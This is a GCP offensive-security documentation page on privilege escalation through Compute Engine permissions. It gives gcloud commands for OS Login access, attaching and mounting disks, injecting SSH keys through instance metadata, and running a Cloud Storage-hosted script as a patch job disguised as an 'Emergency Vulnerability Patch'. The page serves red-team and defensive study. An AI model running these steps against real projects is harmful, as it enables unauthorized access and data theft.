> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/gcp/gcp-offensive-security/gcp-privilege-escalation/cloud-compute.md).

# Cloud Compute

## compute.instances.osLogin || compute.instances.osAdminLogin

* [OS Login](https://docs.cloud.google.com/compute/docs/oslogin) is a GCP service allowing you to manage SSH access to instances via IAM without having to create and manage individual SSH keys.
* If the service is enabled on an instance, an attacker with the `compute.osLogin` or `compute.osAdminLogin` permission can authenticate to the instance as a Linux user derived from their Google identity, without needing to manipulate instance metadata or SSH keys.
* `compute.osLogin` grants non-sudo level access while `compute.osAdminLogin` grants sudo level access once connected to the instance. 

{% code overflow="wrap" %}

```shellscript
## Confirm OS Login is enabled on an instance
gcloud compute instances describe <INSTANCE_NAME> --zone=<ZONE> --format=json | jq -r '.metadata[]'

[SNIP]
[
  {
    "key": "enable-oslogin",
    "value": "TRUE"
  },
[SNIP]
```

{% endcode %}

{% code overflow="wrap" %}

```shellscript
## Connect via SSH
gcloud compute ssh <INSTANCE_NAME> --zone=<ZONE>
```

{% endcode %}

***

## compute.instances.attachDisk

* Disks can contain sensitive information and be attached and mounted to compute instances provide both the instance and disk are located in the same Zone.&#x20;
* At attacker with this permission and direct or indirect access to an instance could gain access to sensitive data or secrets on the disk or exfiltrate data by attaching the disk to a compromised instance.

{% code overflow="wrap" %}

```shellscript
gcloud compute instances attach-disk <INSTANCE_NAME> \
  --disk=<DISK_NAME> \
  --zone=<ZONE> 
```

{% endcode %}

* Once attached, the attacker can then mount the disk on the instance to gain access.

{% code overflow="wrap" %}

```shellscript
## Find disk
lsblk

## Mount disk and access
sudo mkdir /mnt/target_disk
sudo mount /dev/sdb /mnt/target_disk
cd /mnt/target_disk
```

{% endcode %}

***

## compute.instances.setMetadata

* With this permission on a compute instance, an attacker can provision SSH access to the instance by leveraging the metadata service.
* If OS Login is not enabled, the [guest agent](https://docs.cloud.google.com/compute/docs/images/guest-agent-functions) creates and manages local user accounts and their SSH keys by using metadata settings.
* The user you specify does not need to exist for this to work!

{% code overflow="wrap" %}

```shellscript
## Generate an SSH key if needed
ssh-keygen -t rsa -b 4096 -f ~/.ssh/gcp_ssh -C "<USERNAME>" -N ""

## Update the instance metadata 
gcloud compute instances add-metadata <INSTANCE_NAME> \
  --zone=<REGION> \
  --metadata ssh-keys="<USERNAME>:$(cat ~/.ssh/gcp_ssh.pub)"
  
## SSH into the instance via IP (requires network connection or GCP console)
ssh -i ~/.ssh/gcp_ssh <USERNAME><INSTANCE_IP>
```

{% endcode %}

{% hint style="warning" %}
The change will be visible in the instances's metadata&#x20;

{% code overflow="wrap" %}

```shellscript
gcloud compute instances describe <INSTANCE_NAME> --zone=<ZONE> --format=json | jq -r '.metadata[]'
PiZW8lWXqOA=
[
  {
    "key": "ssh-keys",
    "value": "<USERNAME>:ssh-rsa AAAAB3NzaC1yc2EAAAADA[SNIP] <USERNAME>"
  }
]
```

{% endcode %}
{% endhint %}

***

## osconfig.patchJobs.exec

* OS Config is part of GCP's [VM Manager](https://docs.cloud.google.com/compute/vm-manager/docs/overview), a suite of tools that can be used to manage operating systems running Windows or Linux.
* With this permission, an attacker can run scripts on an instance potentially gaining a Reverse Shell, Remote Code Execution (RCE), or perform other actions.
* The script must either be on the instance locally or referenced from Cloud Storage.

{% code overflow="wrap" %}

```shellscript
gcloud compute os-config patch-jobs execute \
  --instance-filter-names=zones/<ZONE>/instances/<INSTANCE_NAME> \
  --pre-patch-linux-executable=gs://<GCP_BUCKET>/myscript.sh<GENERATION_NUMBER> \
  --reboot-config=never \
  --display-name="Emergency Vulnerability Patch" \
  --duration=300s
```

{% endcode %}

* The generation number can be discovered like so

{% code overflow="wrap" %}

```shellscript
gcloud storage ls gs://<GCP_BUCKET>/<SCRIPT_NAME>

    patch.sh#123821937283723
```

{% endcode %}